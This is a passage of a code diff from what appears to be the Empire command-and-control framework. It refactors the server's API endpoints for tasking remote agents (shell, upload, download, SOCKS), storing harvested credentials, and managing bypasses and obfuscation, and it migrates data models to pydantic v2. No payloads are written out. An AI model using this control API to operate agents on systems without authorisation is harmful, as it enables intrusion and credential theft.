Depends(get_db), + db: CurrentSession, db_agent: models.Agent = Depends(get_agent), db_task: models.AgentTask = Depends(get_task), ): @@ -206,9 +208,9 @@ async def read_task( @router.post("/{agent_id}/tasks/jobs", response_model=AgentTask) async def create_task_jobs( + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_jobs(db, db_agent, current_user.id) @@ -218,9 +220,9 @@ async def create_task_jobs( @router.post("/{agent_id}/tasks/kill_job", response_model=AgentTask) async def create_task_kill_job( jobs: KillJobPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): kill_job = str(jobs.id) resp, err = agent_task_service.create_task_kill_job( @@ -233,9 +235,9 @@ async def create_task_kill_job( @router.post("/{agent_id}/tasks/shell", status_code=201, response_model=AgentTask) async def create_task_shell( shell_request: ShellPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): """ Executes a command on the agent. If literal is true, it will ignore the built-in aliases @@ -254,9 +256,9 @@ async def create_task_shell( @router.post("/{agent_id}/tasks/module", status_code=201, response_model=AgentTask) async def create_task_module( module_request: ModulePostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_module( db, db_agent, module_request, current_user.id @@ -271,9 +273,9 @@ async def create_task_module( @router.post("/{agent_id}/tasks/upload", status_code=201, response_model=AgentTask) async def create_task_upload( upload_request: UploadPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): download = download_service.get_by_id(db, upload_request.file_id) @@ -311,9 +313,9 @@ async def create_task_upload( @router.post("/{agent_id}/tasks/download", status_code=201, response_model=AgentTask) async def create_task_download( download_request: DownloadPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_download( db, db_agent, download_request.path_to_file, current_user.id @@ -329,10 +331,10 @@ async def create_task_download( "/{agent_id}/tasks/script_import", status_code=201, response_model=AgentTask ) async def create_task_script_import( + db: CurrentSession, + current_user: CurrentUser, file: UploadFile = File(...), db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): file_data = await file.read() file_data = file_data.decode("utf-8") @@ -351,9 +353,9 @@ async def create_task_script_import( ) async def create_task_script_command( script_command_request: ScriptCommandPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): """ For python agents, this will run a script on the agent. @@ -378,9 +380,9 @@ async def create_task_script_command( @router.post("/{agent_id}/tasks/sysinfo", status_code=201, response_model=AgentTask) async def create_task_sysinfo( sysinfo_request: SysinfoPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_sysinfo(db, db_agent, current_user.id) @@ -395,9 +397,9 @@ async def create_task_sysinfo( ) async def create_task_update_comms( comms_request: CommsPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_update_comms( db, db_agent, comms_request.new_listener_id, current_user.id @@ -412,9 +414,9 @@ async def create_task_update_comms( @router.post("/{agent_id}/tasks/sleep", status_code=201, response_model=AgentTask) async def create_task_update_sleep( sleep_request: SleepPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_update_sleep( db, db_agent, sleep_request.delay, sleep_request.jitter, current_user.id @@ -429,9 +431,9 @@ async def create_task_update_sleep( @router.post("/{agent_id}/tasks/kill_date", status_code=201, response_model=AgentTask) async def create_task_update_kill_date( kill_date_request: KillDatePostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_update_kill_date( db, db_agent, kill_date_request.kill_date, current_user.id @@ -448,9 +450,9 @@ async def create_task_update_kill_date( ) async def create_task_update_working_hours( working_hours_request: WorkingHoursPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_update_working_hours( db, db_agent, working_hours_request.working_hours, current_user.id @@ -467,9 +469,9 @@ async def create_task_update_working_hours( ) async def create_task_update_directory_list( directory_list_request: DirectoryListPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_directory_list( db, db_agent, directory_list_request.path, current_user.id @@ -484,9 +486,9 @@ async def create_task_update_directory_list( @router.post("/{agent_id}/tasks/proxy_list", status_code=201, response_model=AgentTask) async def create_task_update_proxy_list( proxy_list_request: ProxyListPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): # We have to use a string enum to get the api to accept strings # then convert to int manually. Agent code could be refactored to just @@ -507,9 +509,9 @@ async def create_task_update_proxy_list( @router.post("/{agent_id}/tasks/exit", status_code=201, response_model=AgentTask) async def create_task_exit( exit_request: ExitPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): resp, err = agent_task_service.create_task_exit(db, db_agent, current_user.id) @@ -524,7 +526,7 @@ async def create_task_exit( ) async def delete_task( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, db_task: models.AgentTask = Depends(get_task), ): if db_task.status != AgentTaskStatus.queued: @@ -538,9 +540,9 @@ async def delete_task( @router.post("/{agent_id}/tasks/socks", status_code=201, response_model=AgentTask) async def create_task_socks( socks: SocksPostRequest, + db: CurrentSession, + current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): if is_port_in_use(socks.port): raise HTTPException(status_code=400, detail="Socks port is in use") diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index 2634ac7b9..9c6503daa 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -48,15 +48,15 @@ def domain_to_dto_task( class AgentTask(BaseModel): id: int input: str - full_input: str | None - output: str | None - original_output: str | None - user_id: int | None - username: str | None + full_input: str | None = None + output: str | None = None + original_output: str | None = None + user_id: int | None = None + username: str | None = None agent_id: str downloads: list[DownloadDescription] - module_name: str | None - task_name: str | None + module_name: str | None = None + task_name: str | None = None status: models.AgentTaskStatus created_at: datetime updated_at: datetime diff --git a/empire/server/api/v2/bypass/bypass_api.py b/empire/server/api/v2/bypass/bypass_api.py index 6318b7b01..f51712dbc 100644 --- a/empire/server/api/v2/bypass/bypass_api.py +++ b/empire/server/api/v2/bypass/bypass_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT @@ -12,7 +11,7 @@ BypassUpdateRequest, domain_to_dto_bypass, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.db import models from empire.server.server import main @@ -30,7 +29,7 @@ ) -async def get_bypass(uid: int, db: Session = Depends(get_db)): +async def get_bypass(uid: int, db: CurrentSession): bypass = bypass_service.get_by_id(db, uid) if bypass: @@ -45,14 +44,14 @@ async def read_bypass(uid: int, db_bypass: models.Bypass = Depends(get_bypass)): @router.get("/", response_model=Bypasses) -async def read_bypasses(db: Session = Depends(get_db)): +async def read_bypasses(db: CurrentSession): bypasses = list(map(lambda x: domain_to_dto_bypass(x), bypass_service.get_all(db))) return {"records": bypasses} @router.post("/", status_code=201, response_model=Bypass) -async def create_bypass(bypass_req: BypassPostRequest, db: Session = Depends(get_db)): +async def create_bypass(bypass_req: BypassPostRequest, db: CurrentSession): resp, err = bypass_service.create_bypass(db, bypass_req) if err: @@ -65,7 +64,7 @@ async def create_bypass(bypass_req: BypassPostRequest, db: Session = Depends(get async def update_bypass( uid: int, bypass_req: BypassUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_bypass: models.Bypass = Depends(get_bypass), ): resp, err = bypass_service.update_bypass(db, db_bypass, bypass_req) @@ -79,18 +78,18 @@ async def update_bypass( @router.delete("/{uid}", status_code=HTTP_204_NO_CONTENT, response_class=Response) async def delete_bypass( uid: str, - db: Session = Depends(get_db), + db: CurrentSession, db_bypass: models.Bypass = Depends(get_bypass), ): bypass_service.delete_bypass(db, db_bypass) @router.post("/reset", status_code=HTTP_204_NO_CONTENT, response_class=Response) -async def reset_bypasses(db: Session = Depends(get_db)): +async def reset_bypasses(db: CurrentSession): bypass_service.delete_all_bypasses(db) bypass_service.load_bypasses(db) @router.post("/reload", status_code=HTTP_204_NO_CONTENT, response_class=Response) -async def reload_bypasses(db: Session = Depends(get_db)): +async def reload_bypasses(db: CurrentSession): bypass_service.load_bypasses(db) diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py index 328f3b5e2..2b7f69250 100644 --- a/empire/server/api/v2/credential/credential_api.py +++ b/empire/server/api/v2/credential/credential_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT @@ -12,7 +11,7 @@ CredentialUpdateRequest, domain_to_dto_credential, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.api.v2.tag import tag_api from empire.server.core.db import models @@ -31,7 +30,7 @@ ) -async def get_credential(uid: int, db: Session = Depends(get_db)): +async def get_credential(uid: int, db: CurrentSession): credential = credential_service.get_by_id(db, uid) if credential: @@ -52,7 +51,7 @@ async def read_credential( @router.get("/", response_model=Credentials) async def read_credentials( - db: Session = Depends(get_db), + db: CurrentSession, search: str | None = None, credtype: str | None = None, ): @@ -71,9 +70,7 @@ async def read_credentials( status_code=201, response_model=Credential, ) -async def create_credential( - credential_req: CredentialPostRequest, db: Session = Depends(get_db) -): +async def create_credential(credential_req: CredentialPostRequest, db: CurrentSession): resp, err = credential_service.create_credential(db, credential_req) if err: @@ -86,7 +83,7 @@ async def create_credential( async def update_credential( uid: int, credential_req: CredentialUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_credential: models.Credential = Depends(get_credential), ): resp, err = credential_service.update_credential(db, db_credential, credential_req) @@ -104,7 +101,7 @@ async def update_credential( ) async def delete_credential( uid: str, - db: Session = Depends(get_db), + db: CurrentSession, db_credential: models.Credential = Depends(get_credential), ): credential_service.delete_credential(db, db_credential) diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py index f35c71724..284a91cac 100644 --- a/empire/server/api/v2/credential/credential_dto.py +++ b/empire/server/api/v2/credential/credential_dto.py @@ -29,9 +29,9 @@ class Credential(BaseModel): username: str password: str host: str - os: str | None - sid: str | None - notes: str | None + os: str | None = None + sid: str | None = None + notes: str | None = None created_at: datetime updated_at: datetime tags: list[Tag] @@ -50,9 +50,9 @@ class CredentialUpdateRequest(BaseModel): os: str sid: str notes: str - os: str | None - sid: str | None - notes: str | None + os: str | None = None + sid: str | None = None + notes: str | None = None class CredentialPostRequest(BaseModel): @@ -61,6 +61,6 @@ class CredentialPostRequest(BaseModel): username: str password: str host: str - os: str | None - sid: str | None - notes: str | None + os: str | None = None + sid: str | None = None + notes: str | None = None diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py index 8638db06e..937ee14b8 100644 --- a/empire/server/api/v2/download/download_api.py +++ b/empire/server/api/v2/download/download_api.py @@ -1,11 +1,10 @@ import math from fastapi import Depends, File, HTTPException, Query, UploadFile -from sqlalchemy.orm import Session from starlette.responses import FileResponse from empire.server.api.api_router import APIRouter -from empire.server.api.jwt_auth import get_current_active_user +from empire.server.api.jwt_auth import CurrentActiveUser, get_current_active_user from empire.server.api.v2.download.download_dto import ( Download, DownloadOrderOptions, @@ -13,7 +12,7 @@ DownloadSourceFilter, domain_to_dto_download, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import ( BadRequestResponse, NotFoundResponse, @@ -37,7 +36,7 @@ ) -async def get_download(uid: int, db: Session = Depends(get_db)): +async def get_download(uid: int, db: CurrentSession): download = download_service.get_by_id(db, uid) if download: @@ -49,7 +48,7 @@ async def get_download(uid: int, db: Session = Depends(get_db)): @router.get("/{uid}/download", response_class=FileResponse) async def download_download( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, db_download: models.Download = Depends(get_download), ): if db_download.filename: @@ -69,7 +68,7 @@ async def download_download( ) async def read_download( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, db_download: models.Download = Depends(get_download), ): return domain_to_dto_download(db_download) @@ -77,7 +76,7 @@ async def read_download( @router.get("/", response_model=Downloads) async def read_downloads( - db: Session = Depends(get_db), + db: CurrentSession, limit: int = -1, page: int = 1, order_direction: OrderDirection = OrderDirection.desc, @@ -110,8 +109,8 @@ async def read_downloads( @router.post("/", status_code=201, response_model=Download) async def create_download( - db: Session = Depends(get_db), - user: models.User = Depends(get_current_active_user), + user: CurrentActiveUser, + db: CurrentSession, file: UploadFile = File(...), ): return domain_to_dto_download(download_service.create_download(db, user, file)) diff --git a/empire/server/api/v2/host/host_api.py b/empire/server/api/v2/host/host_api.py index 3c0199fe6..84bd70889 100644 --- a/empire/server/api/v2/host/host_api.py +++ b/empire/server/api/v2/host/host_api.py @@ -1,10 +1,9 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user from empire.server.api.v2.host.host_dto import Host, Hosts, domain_to_dto_host -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.db import models from empire.server.server import main @@ -22,7 +21,7 @@ ) -async def get_host(uid: int, db: Session = Depends(get_db)): +async def get_host(uid: int, db: CurrentSession): host = host_service.get_by_id(db, uid) if host: @@ -37,7 +36,7 @@ async def read_host(uid: int, db_host: models.Host = Depends(get_host)): @router.get("/", response_model=Hosts) -async def read_hosts(db: Session = Depends(get_db)): +async def read_hosts(db: CurrentSession): hosts = list(map(lambda x: domain_to_dto_host(x), host_service.get_all(db))) return {"records": hosts} diff --git a/empire/server/api/v2/host/process_api.py b/empire/server/api/v2/host/process_api.py index 396dc9180..32374ef98 100644 --- a/empire/server/api/v2/host/process_api.py +++ b/empire/server/api/v2/host/process_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user @@ -8,7 +7,7 @@ Processes, domain_to_dto_process, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.db import models from empire.server.server import main @@ -27,7 +26,7 @@ ) -async def get_host(host_id: int, db: Session = Depends(get_db)): +async def get_host(host_id: int, db: CurrentSession): host = host_service.get_by_id(db, host_id) if host: @@ -37,7 +36,7 @@ async def get_host(host_id: int, db: Session = Depends(get_db)): async def get_process( - uid: int, db: Session = Depends(get_db), db_host: models.Host = Depends(get_host) + uid: int, db: CurrentSession, db_host: models.Host = Depends(get_host) ): process = host_process_service.get_process_for_host(db, db_host, uid) @@ -55,9 +54,7 @@ async def read_process(uid: int, db_process: models.HostProcess = Depends(get_pr @router.get("/", response_model=Processes) -async def read_processes( - db: Session = Depends(get_db), db_host: models.Host = Depends(get_host) -): +async def read_processes(db: CurrentSession, db_host: models.Host = Depends(get_host)): processes = list( map( lambda x: domain_to_dto_process(x), diff --git a/empire/server/api/v2/host/process_dto.py b/empire/server/api/v2/host/process_dto.py index c07face5f..782176745 100644 --- a/empire/server/api/v2/host/process_dto.py +++ b/empire/server/api/v2/host/process_dto.py @@ -24,10 +24,10 @@ class Process(BaseModel): process_id: int process_name: str host_id: int - architecture: str | None - user: str | None + architecture: str | None = None + user: str | None = None stale: bool - agent_id: str | None + agent_id: str | None = None class Processes(BaseModel): diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py index 1386e1381..7868c193e 100644 --- a/empire/server/api/v2/listener/listener_api.py +++ b/empire/server/api/v2/listener/listener_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT @@ -12,7 +11,7 @@ ListenerUpdateRequest, domain_to_dto_listener, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.api.v2.tag import tag_api from empire.server.core.db import models @@ -31,7 +30,7 @@ ) -async def get_listener(uid: int, db: Session = Depends(get_db)): +async def get_listener(uid: int, db: CurrentSession): listener = listener_service.get_by_id(db, uid) if listener: @@ -49,7 +48,7 @@ async def read_listener(uid: int, db_listener: models.Listener = Depends(get_lis @router.get("/", response_model=Listeners) -async def read_listeners(db: Session = Depends(get_db)): +async def read_listeners(db: CurrentSession): listeners = list( map(lambda x: domain_to_dto_listener(x), listener_service.get_all(db)) ) @@ -58,9 +57,7 @@ async def read_listeners(db: Session = Depends(get_db)): @router.post("/", status_code=201, response_model=Listener) -async def create_listener( - listener_req: ListenerPostRequest, db: Session = Depends(get_db) -): +async def create_listener(listener_req: ListenerPostRequest, db: CurrentSession): """ Note: options['Name'] will be overwritten by name. When v1 api is eventually removed, it wil no longer be needed. :param listener_req: @@ -79,7 +76,7 @@ async def create_listener( async def update_listener( uid: int, listener_req: ListenerUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_listener: models.Listener = Depends(get_listener), ): if listener_req.enabled and not db_listener.enabled: @@ -128,7 +125,7 @@ async def update_listener( ) async def delete_listener( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, db_listener: models.Listener = Depends(get_listener), ): listener_service.delete_listener(db, db_listener) diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py index 7eafcdf85..38dde0093 100644 --- a/empire/server/api/v2/listener/listener_dto.py +++ b/empire/server/api/v2/listener/listener_dto.py @@ -1,8 +1,13 @@ from datetime import datetime -from pydantic import BaseModel +from pydantic import BaseModel, ConfigDict -from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type +from empire.server.api.v2.shared_dto import ( + Author, + CustomOptionSchema, + coerced_dict, + to_value_type, +) from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag @@ -72,11 +77,10 @@ class ListenerTemplate(BaseModel): comments: list[str] tactics: list[str] techniques: list[str] - software: str | None + software: str | None = None options: dict[str, CustomOptionSchema] - - class Config: - schema_extra = { + model_config = ConfigDict( + json_schema_extra={ "example": { "id": "http", "name": "HTTP[S]", @@ -237,6 +241,7 @@ class Config: }, } } + ) class ListenerTemplates(BaseModel): @@ -248,7 +253,7 @@ class Listener(BaseModel): name: str enabled: bool template: str - options: dict[str, str] + options: coerced_dict created_at: datetime tags: list[Tag] @@ -260,10 +265,9 @@ class Listeners(BaseModel): class ListenerPostRequest(BaseModel): name: str template: str - options: dict[str, str] - - class Config: - schema_extra = { + options: coerced_dict + model_config = ConfigDict( + json_schema_extra={ "example": { "name": "MyListener", "template": "http", @@ -294,12 +298,13 @@ class Config: }, } } + ) class ListenerUpdateRequest(BaseModel): name: str enabled: bool - options: dict[str, str] + options: coerced_dict def __iter__(self): return iter(self.__root__) diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py index 256f0bbc0..07be0032c 100644 --- a/empire/server/api/v2/module/module_api.py +++ b/empire/server/api/v2/module/module_api.py @@ -1,7 +1,6 @@ import logging from fastapi import Depends, HTTPException, Response -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user @@ -12,7 +11,7 @@ ModuleUpdateRequest, domain_to_dto_module, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.module_models import EmpireModule from empire.server.server import main @@ -76,8 +75,8 @@ async def read_module_script(uid: str, module: EmpireModule = Depends(get_module async def update_module( uid: str, module_req: ModuleUpdateRequest, + db: CurrentSession, module: EmpireModule = Depends(get_module), - db: Session = Depends(get_db), ): module_service.update_module(db, module, module_req) @@ -85,22 +84,20 @@ async def update_module( @router.put("/bulk/enable", status_code=204, response_class=Response) -async def update_bulk_enable( - module_req: ModuleBulkUpdateRequest, db: Session = Depends(get_db) -): +async def update_bulk_enable(module_req: ModuleBulkUpdateRequest, db: CurrentSession): module_service.update_modules(db, module_req) @router.post("/reload", status_code=204, response_class=Response) async def reload_modules( - db: Session = Depends(get_db), + db: CurrentSession, ): module_service.load_modules(db) @router.post("/reset", status_code=204, response_class=Response) async def reset_modules( - db: Session = Depends(get_db), + db: CurrentSession, ): module_service.delete_all_modules(db) module_service.load_modules(db) diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py index 532891c2d..b835d3adf 100644 --- a/empire/server/api/v2/module/module_dto.py +++ b/empire/server/api/v2/module/module_dto.py @@ -28,7 +28,7 @@ def domain_to_dto_module(module: EmpireModule, uid: str): id=uid, name=module.name, enabled=module.enabled, - authors=module.authors, + authors=[a.model_dump() for a in module.authors], description=module.description, background=module.background, language=module.language, @@ -51,12 +51,12 @@ class Module(BaseModel): description: str background: bool language: LanguageEnum - min_language_version: str | None + min_language_version: str | None = None needs_admin: bool opsec_safe: bool techniques: list[str] tactics: list[str] - software: str | None + software: str | None = None comments: list[str] options: dict[str, CustomOptionSchema] diff --git a/empire/server/api/v2/obfuscation/obfuscation_api.py b/empire/server/api/v2/obfuscation/obfuscation_api.py index 8ed40e6b5..122a6f5fb 100644 --- a/empire/server/api/v2/obfuscation/obfuscation_api.py +++ b/empire/server/api/v2/obfuscation/obfuscation_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.background import BackgroundTasks from starlette.responses import Response from starlette.status import HTTP_202_ACCEPTED, HTTP_204_NO_CONTENT @@ -16,7 +15,7 @@ ObfuscationConfigUpdateRequest, domain_to_dto_obfuscation_config, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.db import models from empire.server.server import main @@ -34,7 +33,7 @@ ) -async def get_keyword(uid: int, db: Session = Depends(get_db)): +async def get_keyword(uid: int, db: CurrentSession): keyword = obfuscation_service.get_keyword_by_id(db, uid) if keyword: @@ -49,16 +48,14 @@ async def read_keyword(uid: int, db_keyword: models.Keyword = Depends(get_keywor @router.get("/keywords", response_model=Keywords) -async def read_keywords(db: Session = Depends(get_db)): +async def read_keywords(db: CurrentSession): keywords = obfuscation_service.get_all_keywords(db) return {"records": keywords} @router.post("/keywords", status_code=201, response_model=Keyword) -async def create_keyword( - keyword_req: KeywordPostRequest, db: Session = Depends(get_db) -): +async def create_keyword(keyword_req: KeywordPostRequest, db: CurrentSession): resp, err = obfuscation_service.create_keyword(db, keyword_req) if err: @@ -71,7 +68,7 @@ async def create_keyword( async def update_keyword( uid: int, keyword_req: KeywordUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_keyword: models.Keyword = Depends(get_keyword), ): resp, err = obfuscation_service.update_keyword(db, db_keyword, keyword_req) @@ -87,13 +84,13 @@ async def update_keyword( ) async def delete_keyword( uid: str, - db: Session = Depends(get_db), + db: CurrentSession, db_keyword: models.Keyword = Depends(get_keyword), ): obfuscation_service.delete_keyword(db, db_keyword) -async def get_obfuscation_config(language: str, db: Session = Depends(get_db)): +async def get_obfuscation_config(language: str, db: CurrentSession): obf_config = obfuscation_service.get_obfuscation_config(db, language) if obf_config: @@ -106,7 +103,7 @@ async def get_obfuscation_config(language: str, db: Session = Depends(get_db)): @router.get("/global", response_model=ObfuscationConfigs) -async def read_obfuscation_configs(db: Session = Depends(get_db)): +async def read_obfuscation_configs(db: CurrentSession): obf_configs = obfuscation_service.get_all_obfuscation_configs(db) return {"records": obf_configs} @@ -124,7 +121,7 @@ async def read_obfuscation_config( async def update_obfuscation_config( language: str, obf_req: ObfuscationConfigUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_obf_config: models.Bypass = Depends(get_obfuscation_config), ): resp, err = obfuscation_service.update_obfuscation_config( @@ -145,9 +142,9 @@ async def update_obfuscation_config( async def preobfuscate_modules( language: str, background_tasks: BackgroundTasks, + db: CurrentSession, reobfuscate: bool = False, db_obf_config: models.ObfuscationConfig = Depends(get_obfuscation_config), - db: Session = Depends(get_db), ): if not db_obf_config.preobfuscatable: raise HTTPException( diff --git a/empire/server/api/v2/obfuscation/obfuscation_dto.py b/empire/server/api/v2/obfuscation/obfuscation_dto.py index 179854105..23ddadafa 100644 --- a/empire/server/api/v2/obfuscation/obfuscation_dto.py +++ b/empire/server/api/v2/obfuscation/obfuscation_dto.py @@ -1,6 +1,6 @@ from datetime import datetime -from pydantic import BaseModel, Field +from pydantic import BaseModel, ConfigDict, Field from empire.server.core.db import models @@ -11,9 +11,7 @@ class Keyword(BaseModel): replacement: str created_at: datetime updated_at: datetime - - class Config: - orm_mode = True + model_config = ConfigDict(from_attributes=True) class Keywords(BaseModel): @@ -46,9 +44,7 @@ class ObfuscationConfig(BaseModel): command: str module: str preobfuscatable: bool - - class Config: - orm_mode = True + model_config = ConfigDict(from_attributes=True) class ObfuscationConfigs(BaseModel): diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py index d6cf78438..3a999b575 100644 --- a/empire/server/api/v2/plugin/plugin_api.py +++ b/empire/server/api/v2/plugin/plugin_api.py @@ -1,18 +1,19 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from empire.server.api.api_router import APIRouter -from empire.server.api.jwt_auth import get_current_active_user, get_current_user +from empire.server.api.jwt_auth import ( + CurrentUser, + get_current_active_user, +) from empire.server.api.v2.plugin.plugin_dto import ( PluginExecutePostRequest, PluginExecuteResponse, Plugins, domain_to_dto_plugin, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse -from empire.server.core.db import models from empire.server.core.exceptions import PluginValidationException from empire.server.server import main @@ -58,9 +59,9 @@ async def read_plugin(uid: str, plugin=Depends(get_plugin)): async def execute_plugin( uid: str, plugin_req: PluginExecutePostRequest, + db: CurrentSession, + current_user: CurrentUser, plugin=Depends(get_plugin), - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_user), ): try: results, err = plugin_service.execute_plugin( @@ -79,6 +80,6 @@ async def execute_plugin( @router.post("/reload", status_code=204, response_class=Response) -async def reload_plugins(db: Session = Depends(get_db)): +async def reload_plugins(db: CurrentSession): plugin_service.shutdown() plugin_service.startup_plugins(db) diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py index 174693c01..cd307b3b4 100644 --- a/empire/server/api/v2/plugin/plugin_dto.py +++ b/empire/server/api/v2/plugin/plugin_dto.py @@ -1,6 +1,11 @@ from pydantic import BaseModel -from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type +from empire.server.api.v2.shared_dto import ( + Author, + CustomOptionSchema, + coerced_dict, + to_value_type, +) from empire.server.common.plugins import Plugin @@ -52,7 +57,7 @@ class Plugin(BaseModel): authors: list[Author] description: str techniques: list[str] = [] - software: str | None + software: str | None = None comments: list[str] options: dict[str, CustomOptionSchema] @@ -62,7 +67,7 @@ class Plugins(BaseModel): class PluginExecutePostRequest(BaseModel): - options: dict[str, str] + options: coerced_dict class PluginExecuteResponse(BaseModel): diff --git a/empire/server/api/v2/plugin/plugin_task_api.py b/empire/server/api/v2/plugin/plugin_task_api.py index c6e5cefa0..e40184eab 100644 --- a/empire/server/api/v2/plugin/plugin_task_api.py +++ b/empire/server/api/v2/plugin/plugin_task_api.py @@ -2,7 +2,6 @@ from datetime import datetime from fastapi import Depends, HTTPException, Query -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user @@ -12,7 